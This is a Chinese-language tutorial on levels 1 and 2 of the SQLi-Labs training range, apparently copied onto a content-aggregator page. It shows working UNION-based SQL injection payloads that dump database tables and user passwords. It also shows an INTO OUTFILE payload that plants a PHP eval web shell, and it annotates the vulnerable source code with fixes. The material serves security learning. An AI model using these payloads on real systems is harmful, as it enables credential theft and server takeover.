在线diy网站青海 网站开发 app gis

当前位置: 首页 > news >正文

在线diy网站,青海 网站开发 app gis,泰安企业建站公司平台,搜索关键词优化SQLi靶场 less1- less2 #xff08;详细讲解#xff09; less 1 Error Based-String (字符类型注入) 思路分析 判断是否存在SQL注入 已知参数名为id#xff0c;输入数值和‘ 单引号‘’ 双引号来判断#xff0c;它是数值类型还是字符类型 首先输入 1 #xff0c; 发现…SQLi靶场 less1- less2 详细讲解 less 1 Error Based-String (字符类型注入) 思路分析 判断是否存在SQL注入 已知参数名为id输入数值和‘ 单引号‘’ 双引号来判断它是数值类型还是字符类型 首先输入 1 发现能能正常显示使用四则运算进一步测试。 输入?id4-3 发现内容有变化判断不是数值类型SQL继续测试字符型输入单引号‘ ‘ 在经过URL编码后显示为%27,发现页面出现报错信息。初步判断可能是字符型SQL语句输入两个’单引号查看是否能闭合语句. 页面有明显变化报错信息消失返回空信息判断为字符型SQL注入构造字符类型永真语句继续测试。 ?id or 11 – %27 为 单引号 URL编码 %20 为 空格 URL编码 输入字符永真POC后回显一条数据但是并没有爆出该字段所有信息后端应该对此做了限制。 注入攻击 知识回顾 先了解攻击需要使用的一些函数以及mysql系统表: order by 在SQL语法中用于排序SQL注入攻击中可以用于爆破字段数量 union 在SQL语法中用于联合查询SQL注入攻击中可用于爆破特殊信息 database() 用于返回当前正在使用的数据库的名称。 version() 用于返回当前MySQL服务器的版本号。 concat() 用于将多个字符串连接在一起。 group_concat() 将多个列连在一起 information_schema 该表为mysql的系统默认表其中包含了关于MySQL服务器和数据库的元数据信息。这个数据库不存储用户数据而是存储关于数据库架构、表、列、索引等信息的数据。 information_schema.tables这个表存储了有关所有数据库中的表的信息包括表名、数据库名、表的类型如表、视图等、表的引擎如InnoDB、MyISAM等、创建时间、更新时间等。information_schema.columns这个表包含了有关所有表中列字段的信息包括列名、列的数据类型、是否为主键、是否允许 NULL 值等。information_schema.schemata这个表列出了所有数据库的信息包括数据库名、默认字符集、默认排序规则等。information_schema.routines这个表包含有关存储过程和函数的信息包括它们的名称、类型、定义等。information_schema.views这个表包含有关视图虚拟表的信息包括视图名、所属数据库等。information_schema.key_column_usage这个表包含了关于表的外键的信息包括外键名、所属表、所引用的表等。information_schema.table_constraints这个表包含了有关表的约束如主键、唯一约束等的信息。 使用order by爆破 SELECT语句中的字段数量 ?id order by 4 – //poc报错字段数量将数值继续向小的改 数值 改成 3发现页面变化并没有报错回显一个空表单这是因为前段查询语句是查了一个空语句所以返回空表查询语句如下 SELECT * FROM tables_name WHERE id order by 3使用union获取用户数据、当前数据库名、版本信息 以知 原始查询语句的字段数为3使用union来构造一个POC判断我们获取的字符数是否正确。 ?id union SELECT 1,2,3 –从中发现回显正确并显示我们查询了的内容但是第一个字段好像被隐藏了第二个、第三个字段都成功回显。 进一步爆破出用户名、当前数据库名。构造POC ?id union SELECT 1,user(),database() –爆破成功这里有一点需要注意在闭合第一个引号的时候内部一定不要使用真值能真实查询到的数据因为这里系统会把默认查询到的第一行数据优先显示到页面在后面的源码分析中在仔细研究其中原理。例如下面这个例子 我把闭合的单引号放入了真值直接回显了这个真值查询的数据。 爆破数据库表和列名 使用mysql的系统表information_schema来波破改数据库中已存的表名和列名。 ?id UNION select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity–这个POC 主要是从 information_schema.tables 表中选择了 security 数据库中的表名并使用 GROUP_CONCAT 将它们连接成一个字符串。 然而我们可以继续对这个POC进行改造 ?idunion select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers–这个POC就获取了information_schema.colunms中所有的table_name为users的所有字段 根据这个POC返回的信息在进一步的构造POC就能拿到敏感数据 ?id UNION SELECT 1,group_concat(username,ID,password),3 from users–这样就已经完成了一次成功的SQL注入并获取了敏感信息。 思路总结 在学习SQL注入时要对SQL的语法有大致上的了解并且越熟练越好在进行注入前要仔细分析它使用的什么类型的SQL语句以便对症下药确定类型后如果是查询类的注入还要去分析出源语句中使用了几个字段当掌握这些信息后就开始考虑如何闭合语句。基本流程如下 判断SQL语句类型构造永真POC判断是否存在SQL注入爆破源语句字段数量爆破成功后即可进行攻击 源码分析 ?php include(../sql-connections/sql-connect.php); //包含上级目录的用于数据链接的php代码 error_reporting(0); //这行代码关闭了PHP错误报告这意味着即使代码中有错误也不会在网页上显示错误消息。if(isset(\(_GET[id])) // 判断是否获取到GET的参数接收到参数执行以下语句未接收到执行报错 { \)id\(_GET[id]; //将GET传递的参数赋值给\)id \(fpfopen(result.txt,a); //打开一个文件result.txt以用于记录。 a 参数表示以追加模式打开文件如果文件不存在将创建一个新文件。 fwrite(\)fp,ID:.\(id.\n); // 向\)fp文件内写入数据ID 和\(id的字符串拼接 fclose(\)fp); // 释放文件资源\(sqlSELECT * FROM users WHERE id\)id LIMIT 0,1; //创建一个字符串变量存储一条SQL查询语句并把 \(id 作为参数传入到语句的WHERE参数中 \)resultmysql_query(\(sql); //使用 \)result 来接收 mysql_query(\(sql)函数查询的结果 \)row mysql_fetch_array(\(result); // \)row是一个数组变量它使用mysql_fetch_array()来取出SQL查询结果的每一行数据if(\(row)//判断\)row 中是否有数据有数据则执行以下语句没数据则执行sql报错信息{echo font size5 color #99FF00;//CSS样式echo Your Login name:. \(row[username];//\)row数组中的 username 值echo br;//换行echo Your Password: .\(row[password];//\)row数组中 password 值echo /font;// css样式结束标记}else {echo font color #FFFF00;print_r(mysql_error());echo /font; } }else { echo Please input the ID as parameter with numeric value;}?分析该源码我发现以下问题 在第7行使用GET方法传入的参数没有任何验证。 解决办法 :对用户输出数据进行验证并转变为需要处理的类型 if (isset(\(_GET[id]) is_numeric(\)_GET[id])) {//判断GET方法传入的参数是否是正确的类型\(id (int)\)_GET[id];// 确定为正确的类型在后端继续对该值再度进行转换操作 } else {echo 请输入一个正确的数值.; }在46行使用了mysql_error() 来回显SQL的报错信息。 解决办法sql的报错信息不能暴露应该保存在后台,前端的报错应该由管理员自己定义。 else {echo 发生错误。请稍后重试。;error_log(mysql_error()); // 记录错误信息到日志文件 }这里是我的才疏学浅只能加了简单验证但是这个验证逻辑是越复杂越好根据实际情况去编写即可。 在之前说的在本关卡中每次只能显示一行的数据这是因为mysql_fetch_array()这个函数 函数的作用是从结果集中获取一行数据并将该数据存储在数组中因此每次调用它都会获取一行数据。这是为了逐行处理查询结果。如果要在前段显示全部内容就一定要在加上一个循环去打印渲染每一条语句。 less 2 Error based - Intiger based (数值类型注入) 思路分析 判断SQL类型 一、输入数值1和四则运算判断它是不是数值类型 输入1页面由变化回显id1的数据。 输入数值四则运算4-3查看返回结果回显结果无变化由此判断为数值类型SQL语句 二、使用永真POC进行判断是否存在SQL注入。 ?id-1 or 11输入语句后页面没变化无报错该字段的值也没有全部爆出判断大概率使用了mysql_fetch_array()函数。 OR逻辑运算符的优先级是最低的AND逻辑运算符优先级比OR高而NOT的逻辑运算符的优先级是最高的。 在SQL语句中 OR运算符有一个特性当第一个条件为真时第二个条件默认不在执行。 这是因为在这种情况下整个 OR 表达式已经被确定为真无论第二个条件的值如何都不会改变整个表达式的结果。这种短路逻辑有助于提高查询性能因为不必评估多余的条件。 三、使用ORDER BY 判断源语句字段数量 ?id-1 ORDER BY 4 #ORDER BY 的值是4 报错了源语句中的字段数量要少于4 当数值是3因为这是一条正常的语句 所以回显了id1的数据这代表这 SQL语句是正确的源语句的字段数应该就是3个。 ?id1 ORDER BY 3 #四、使用UNION 确定字段数量 ?id-1 UNION SELECT 1,2,3 –在这一步需要将id的值设为假以便测试每个字段存在的位置。 确定无问题准备注入攻击。 注入攻击 一、获取用户名user()、数据库名database() ?id-1 UNION SELECT 1,user(),database() –二、使用Mysqlinformation_schema库获取更多信息 获取数据库中的所有表名 ?id-1 UNION SELECT 1,group_concat(table_name),database() FROM information_schema.tables WHERE table_schemadatabase() –在此处我们使用database()替代了security,因为database()返回的值就是它。在SQL语句 函数的执行优先级高于其他语句而且可以用于动态地获取一些信息。 获取users中的所有字段名字 ?id-1 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns WHERE table_name users –从username、password中获取敏感信息 ?id-1 UNION SELECT 1,group_concat(username,id,password),version() from users –POC中 group_concat()函数中只用于隔断username和password,使得账号和密码显示的更为清楚。 成功爆破所有账号密码。 向数据库中注入webshell ?id-1 UNION SELECT 1,?php eval(\(POST[cmd]);?,3 into outfile ./web.php --这个注入是有条件的mysql数据库必须开启secure_file_priv,否则就会报错。 secure_file_priv 是 MySQL 数据库服务器的配置选项之一用于指定允许加载文件的安全目录。这个选项的目的是增强 MySQL 服务器的安全性以限制用户在服务器上加载文件的位置以防止潜在的安全风险。 具体来说secure_file_priv 选项定义了一个目录路径MySQL 服务器只允许用户在这个指定的目录或其子目录下加载文件。这意味着用户不能在不被允许的目录中执行文件加载操作。这有助于防止恶意用户滥用文件加载功能执行危险的操作或访问敏感文件。 修改 my.cnf 文件在 [mysqld] 块下如果没有 secure_file_priv 则新增 指定目录secure_file_priv/path/to/data 不限目录secure_file_priv 禁止操作secure_file_privNULL 测试需求我们直接添加一个不限制目录的配置继续测试。 开启secure_file_priv后重启数据库继续测试 发现页面错误消失了由于我们并没有查询任何内容所以返回空表在测试我们的webshell有没有成功上传 ./代表本级目录而在这里则表示上传到mysql的本级目录它不在sqli靶场的目录又因为跨源的问题也没有文件包含漏洞我们不能直接利用 再次为了演示就直接在注入一个webshell到sqli靶场目录中 进行测试。 ?id-1 UNION SELECT 1,?php phpinfo();?,3 into outfile D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php --这里还要强调以下在MySQL中单独以个\都被会认为是一个转义字符所以我们要对这个\ 在做一次转义 在加上一个\就ok了 在MySQL中INTO OUTFILE 是用于将查询结果写入文件的操作。它是在SELECT语句中使用的一种扩展。 这是操作的一般执行顺序 SELECT首先执行SELECT语句以获取结果集。INTO OUTFILE然后将结果集中的数据写入指定的文件使用INTO OUTFILE子句。这个子句告诉MySQL将查询结果写入到一个文件中该文件由路径和文件名指定。 SELECT 1,?php phpinfo();?,3 INTO OUTFILE D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php这个查询选择了三个值1、‘?php phpinfo();?’、3并将它们写入了 D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php 这个文件中。 思路总结 在这一关总体思路与第一关基本一致只不过在本关中使用的是数值内省SQL语句在闭合语句方面不用考虑引号等关系。 介绍了mysql的一个安全配置项secure_file_priv它是用来控制文件加载目的选项在没有特殊要求的情况下建议关闭该功能。 源码分析 ?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); error_reporting(0); // take the variables if(isset(\)_GET[id])) { \(id\)_GET[id]; //logging the connection parameters to a file for analysis. \(fpfopen(result.txt,a); fwrite(\)fp,ID:.\(id.\n); fclose(\)fp);// connectivity \(sqlSELECT * FROM users WHERE id\)id LIMIT 0,1; \(resultmysql_query(\)sql); \(row mysql_fetch_array(\)result);if(\(row){echo font size5 color #99FF00;echo Your Login name:. \)row[username];echo br;echo Your Password: .\(row[password];echo /font;}else {echo font color #FFFF00;print_r(mysql_error());echo /font; } }else{ echo Please input the ID as parameter with numeric value;}?本关的源码与第一关基本一致唯一不同的点就是在 SQL语句中没有给变量\)id引号。思路会院借鉴第一关的思路。